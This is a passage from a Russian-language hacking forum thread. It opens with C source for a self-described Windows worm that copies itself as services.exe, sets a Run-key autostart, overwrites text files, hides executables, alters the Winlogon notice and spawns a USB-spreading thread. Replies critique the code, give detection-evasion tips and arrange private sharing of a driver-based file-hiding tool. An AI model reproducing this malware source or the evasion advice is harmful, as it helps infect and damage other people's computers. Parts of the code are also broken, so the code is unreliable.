   char dropTo[1024];
   GetWindowsDirectory(dropTo,1024);
   strcat(dropTo,"\\services.exe");
   if((CopyFile(me,dropTo,1)) == 0)
	   return 0;
   else
   {
	   if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS)
	   {
		   RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo));
		   RegCloseKey(hKey);
	   }
	   return 1;
   }
}
DWORD WINAPI changeTitle(LPVOID lParam)
{
   while(1)
   {
	   HWND hWnd = GetForegroundWindow();
	   SetWindowText(hWnd,"|__[__]__/=+-\\ SaveItForLater :] Worm - illuz1oN /-+=\\__[__]__|");
   }
}
void winLogin(void)
{
   HKEY hKey;
   char szCaption[] = "		  |__[__]__/=+-\\ illuz1oN /-+=\\__[__]__|";
   char szText[] = "			 |__[__]__/=+-\\ SaveItForLater :] Worm By illuz1oN /-+=\\__[__]__|"
				   "\nIf you want to remove this worm, contact illuz1oN - illuz1oN@hotmail.co.uk"
				   "\n... AV Companies ~censored~ You ...";
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
   RegSetValueEx(hKey,"LegalNoticeCaption",0,REG_SZ,(const unsigned char*)szCaption,sizeof(szCaption));
   RegCloseKey(hKey);
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_SET_VALUE,&hKey);
   RegSetValueEx(hKey,"LegalNoticeText",0,REG_SZ,(const unsigned char*)szText,sizeof(szText));
   RegCloseKey(hKey);
}
int WINAPI WinMain (HINSTANCE hinst,HINSTANCE prhin,LPSTR argsx,int in)
{
   GetModuleFileName(0,me,1024);
   CreateMutex(0,0,"-+- illuz1oN -+-");
   if(GetLastError() == ERROR_ALREADY_EXISTS)
   {
	   ExitProcess(0);
   }
   else
   {
	   if((Startup()) == 0)
	   {
		char szMask[4] = "*.*";
		DWORD ret = 0;
		WIN32_FIND_DATA fData;
		HANDLE hFind,hFile;
		hFind = FindFirstFile(szMask,&fData);
		if(fData.cFileName == "*.txt")
		{
		   hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
		   if(hFile == INVALID_HANDLE_VALUE)
			  ExitProcess(0);
		   else
		   {
			  WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
			  CloseHandle(hFile);
		   }
		}
		else if(fData.cFileName == "*.exe")
		{
		   SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
		   CloseHandle(hFile);
		}		  
		while (FindNextFile(hFind,&fData))
		{
		   if(fData.cFileName == "*.txt")
		   {
			  hFile = CreateFile(fData.cFileName,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
			  if(hFile == INVALID_HANDLE_VALUE)
				 ExitProcess(0);
			  else
			  {
				 WriteFile(hFile,IMSG,sizeof(IMSG),&ret,0);
				 CloseHandle(hFile);
			  }
		   }		
		   else if(fData.cFileName == "*.exe")
		   {
			  SetFileAttributes(fData.cFileName,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
			  CloseHandle(hFile);
		   }			  
		}		  
		FindClose(hFind);
	   }
	   else
	   {
		   winLogin();
		   unsigned long title;
		   CreateThread(0,0,changeTitle,0,0,&title);
		   unsigned long virii;
		   CreateThread(0,0,spreadUSB,0,0,&virii);
		   Sleep(INFINITE);
	   }
   }
}

Ссылки из под хайдов не выдаю!


#5
*КРОТ#

*КРОТ#

    Мегабайт

  • Members
  • PipPipPip
  • 268 сообщений
###
в двух словах что он делает?
вы ещё не взломаны,тогда мы идём к вам!
асека-403431953

я наблюдаю за тобой.

Изображение


#6
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
*КРОТ#
лочит флешку

Ссылки из под хайдов не выдаю!


#7
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
угу и палится очень даже ничего =))). Так прям и написано если есть прямые руки убей меня! Да и плюс ко всему не полный. Вопрос к автору. Ты вообще разбирал код который запостил? =))) Ну для начала эта программка максимум что будет делать так только изменять заголовки окон. Нах? Не понятно... Наверное это смешно. Ну ладно, мож я постарел и не пертрю в нынешнем юморе... Ну да ладно, продолжим. А этот перечень файлов(Driver_Update.exe, Worm_Pwn.exe, Upd_Config.exe) ты как, с собой таскать собираешься? Ну и последнее, я уже говорил, но не тебе. Да видно мало кто читает. Не юзайте ветку run! Она не намазана медом, она палится. Любой юзверь маломальски понимающий в винде сразу туда полезет! Ну и про винлогон тоже... Так шо без обид, но покури мат часть и реализуй нормального червя... А таким "Г" не засоряй форум... Без обид.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#8
4NearU4

4NearU4

    Байт

  • Members
  • Pip
  • 84 сообщений

Просмотр сообщенияred_mould (28.7.2010, 8:45) писал:

угу и палится очень даже ничего =))). Так прям и написано если есть прямые руки убей меня! Да и плюс ко всему не полный. Вопрос к автору. Ты вообще разбирал код который запостил? =))) Ну для начала эта программка максимум что будет делать так только изменять заголовки окон. Нах? Не понятно... Наверное это смешно. Ну ладно, мож я постарел и не пертрю в нынешнем юморе... Ну да ладно, продолжим. А этот перечень файлов(Driver_Update.exe, Worm_Pwn.exe, Upd_Config.exe) ты как, с собой таскать собираешься? Ну и последнее, я уже говорил, но не тебе. Да видно мало кто читает. Не юзайте ветку run! Она не намазана медом, она палится. Любой юзверь маломальски понимающий в винде сразу туда полезет! Ну и про винлогон тоже... Так шо без обид, но покури мат часть и реализуй нормального червя... А таким "Г" не засоряй форум... Без обид.
P.S. Еще чего забыл сказать. Это и на червя то не похоже. Обычная приложуха которая в добавок висит в процессах. Настоящий червь работает по другому...
"И чего народ такой злой пошел? Толь от бедности, толь от бездуховности!" (с) Алеша Попович.


Мистер Андерсон, эту "штучку" просто нашли и выложили скорее всего

PS Кинь стоящий релиз.
не знаешь с чего начать?что делать? помогу, спамить в личку.

#9
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений

Цитата

Мистер Андерсон, эту "штучку" просто нашли и выложили скорее всего
Ну это похоже на правду. Мало того, данная тема старенькая. Хотя я встречал по сети много "троянов", "червей" и пр. страшных названий которые запускались таким образом... Ну и откровенно говоря до сих пор так пишут. Исключением стал зевс. Который зпихивает себя в винлогон. Ну как он это делает я описывать тут не собираюсь т.к. просто лень.

Цитата

PS Кинь стоящий релиз.
Вызов на поле битвы по имени Windows?
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#10
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Смотрю стоило мне уйти в отпуск так тут все застыло. Ну короче говоря по поводу "Вызов на поле битвы по имени Windows?" Я тут не особо разобрался как запарить пару файликов... Набросал я один безобидный примерчик. Который показывает как примерно работают червячки. =) Ну правда это все добро реализовано в виде дровера. Ну и само собой прогу которая его установит и запустит... Потому что отдельный дроппер я выкладывать не хочу. "Моё! Не дам!"  :clapping:  Такова селяви =). Вот теперь глупый вопрос И даже не по теме. Как сюдой залить файлик. Или же отписываемся тут кому это добро интересно и тогда выложу его куда-то где можно будет спокойно скачать... Ну и ясен пень поясню как его запускать руками...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#11
*КРОТ#

*КРОТ#

    Мегабайт

  • Members
  • PipPipPip
  • 268 сообщений
red_mould
ну залей хоть ]]>сюда]]>
вы ещё не взломаны,тогда мы идём к вам!
асека-403431953

я наблюдаю за тобой.

Изображение


#12
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Хммм, ну можно попробовать. Хотя лучше сделаем так. Я вскину софт нашему модеру, а именно детю подеземелья который себя именует как *КРОТ#  :crazy:  надо же хоть как-то нашу администрацию подпрягать... Тем более он лучше меня петрит во всяких файлообменниках. Ну и за одно будет первопроходцем и по цензуре посмотрит. Малоли мож софт травмирует неокрепшую психику  :cray: Ну а за паролем к архиву ко мне в личку... Ну или к администрации =))
З.Ы. Сразу скажу что это все дело только для образовательных целей. Если кто-то попробует эту технологию юзать в самописных зверях то сразу огорчу, эта технология уже давно известна. Но для личных целей ее можно использовать на ура. Например когда Вы хотите чтоб кроме вас нужное файло никто не видел... Но правда это надо дорабатывать. Да и это уже другая история... Так о примерно такие вот пироги.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#13
*КРОТ#

*КРОТ#

    Мегабайт

  • Members
  • PipPipPip
  • 268 сообщений
red_mould
я согласен быть beta тестером,щяс только вм поставлю и длл напишу (hello.dll)
кста а ты сам не жаждиш подать ]]>сюда]]> заявку?
вы ещё не взломаны,тогда мы идём к вам!
асека-403431953

я наблюдаю за тобой.

Изображение


#14
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Ну давай, давай, хоть код протестирован, но тем не менее как я уже говорил что надо и администрацию подпрягать... Шоб штаны не протирала... А тудой заявочку покамесь не хочу. Я подумаю. А то найдется еще кто-то типа меня и начнет тоже администрацию напрягать =))... Ну короче говоря когда все поставишь и если будут затруднение свисти... Да, забыл совсем сказать. Это дело все собрано под х32... Так шо имей ввиду... Под х64 я еще не собирал бо лень, да и там еще чтоб установить дровер надо с бубном поплясать... Но это уже другая история которая, на сколько я понимаю скоро появится на страницах этого форума... Надо же как-то народ привликать.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#15
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Да, кстати, всем кому интересна эта тема и те кто горят желанием поучавствовать оставляем тут заявочки... А-то такое ощущение что только мне и Кроту это больше всего надо =).
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#16
*КРОТ#

*КРОТ#

    Мегабайт

  • Members
  • PipPipPip
  • 268 сообщений
red_mould
готово!протестил все четко работает.че с ней делать-то дальше будем?
вы ещё не взломаны,тогда мы идём к вам!
асека-403431953

я наблюдаю за тобой.

Изображение


#17
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
А я хз. Видишь как тут это все дло всем надо. Аж отбоя нет... Интереса у всех просто завались...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных